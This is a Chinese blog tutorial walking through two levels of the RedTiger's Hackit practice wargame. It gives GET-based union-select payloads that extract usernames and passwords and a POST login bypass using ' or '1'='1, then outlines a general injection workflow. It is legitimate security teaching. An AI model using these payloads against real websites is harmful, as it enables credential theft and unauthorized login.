SQL注入教程——(三)简单的注入尝试

SQL注入教程——(三)简单的注入尝试
2017年07月26日 13:20:47 hijack89 阅读数:3985 标签: sql注入 更多
个人分类: web安全 sql注入
版权声明:本文为博主原创文章,未经博主允许不得转载。若取得转载允许,请注明出处和原文链接。 https://blog.csdn.net/helloc0de/article/details/76142478
本文将以简单的SQL注入实例来讲解SQL注入的基本思路与流程,当然本文实例只是注入的一种情况,初学者应重点理解思路,学会举一反三。

GET与POST
进行SQL注入攻击,大家还需要了解两种基本的 HTTP 请求方法:GET 和 POST。

在客户机和服务器之间进行请求-响应时,两种最常被用到的方法是:GET 和 POST。

GET - 从指定的资源请求数据。
POST - 向指定的资源提交要被处理的数据
1.get方法特点是参数直接从URL中传递
常见形式:
http://www.test.com/index.php?[parameter1]=[value1]&[parameter2]=[value2]

即:在URL文件路径后加上“?”,然后附加上要传递的参数和值。

2.post方法特点是常以提交表单形式传递参数
常见形式:
这里写图片描述

用firebug查看两者的区别:
get:
https://redtiger.labs.overthewire.org/level1.php?id=1

这里写图片描述

post:
这里写图片描述

这里写图片描述

post注入多为字符型注入,需要注意引号闭合。

正文
本文以RedTiger’s Hackit两道简单的SQL注入为例。

1.简单的get注入
第一关

URL为:https://redtiger.labs.overthewire.org/level1.php

这里写图片描述

点击Category:1 后,URL变为:https://redtiger.labs.overthewire.org/level1.php?cat=1
且出现文字:
这里写图片描述

是以get方式传递cat 参数,进行判断是否存在注入点:
https://redtiger.labs.overthewire.org/level1.php?cat=1 and 1=1 正常
https://redtiger.labs.overthewire.org/level1.php?cat=1 and 1=2 运行异常

看来存在数字型注入,利用order by 测试出存在4个列:
https://redtiger.labs.overthewire.org/level1.php?cat=1 order by 4 正常
https://redtiger.labs.overthewire.org/level1.php?cat=1 order by 5 运行异常
(此处可直接利用union联合查询进行判断列数)

构造union联合查询语句,找回显:
https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,3,4
发现3,4 处存在回显

且页面中有提示:
这里写图片描述
得知tablename为level1_users,并根据页面所要提交的信息为username,password 猜测列名为username,password
于是构造payload:
https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,username,password from level1_users
得到username和password,提交后get flag。

本题实现的是通过SQL注入进行获取敏感数据。

2.简单的post注入
第二关

URL为https://redtiger.labs.overthewire.org/level2.php

这里写图片描述

首先发现URL中并没有以get方式传参,根据题目“一个简单的登录绕过”,
且提示“条件”,考虑到本题是post注入,于是构造万能密码进行绕过:
username任意填写,password 为’ or ‘1’='1

此时用firebug查看可以得到如下信息:
这里写图片描述

结果成功绕过,get flag。

本题实现的是通过SQL注入实现登录绕过。

总结:
基本可通过get和post两种方式进行SQL注入(只是最基础的两种方式,还有如cookie注入等等注入方式),get注入是直接通过URL进行注入,post注入是通过提交的表单信息进行注入,且get方式注入数字型和字符型注入都存在,而post方式注入多数为字符型注入。

SQL注入基本流程可概括如下:

  1. 判断是否存在注入点;
  2. 判断字段回显位置;
  3. 判断数据库信息;
  4. 查找数据库名;
  5. 查找数据库表;
  6. 查找数据库表中字段以及字段值。

猜你喜欢

转载自blog.csdn.net/qq_41793928/article/details/82828701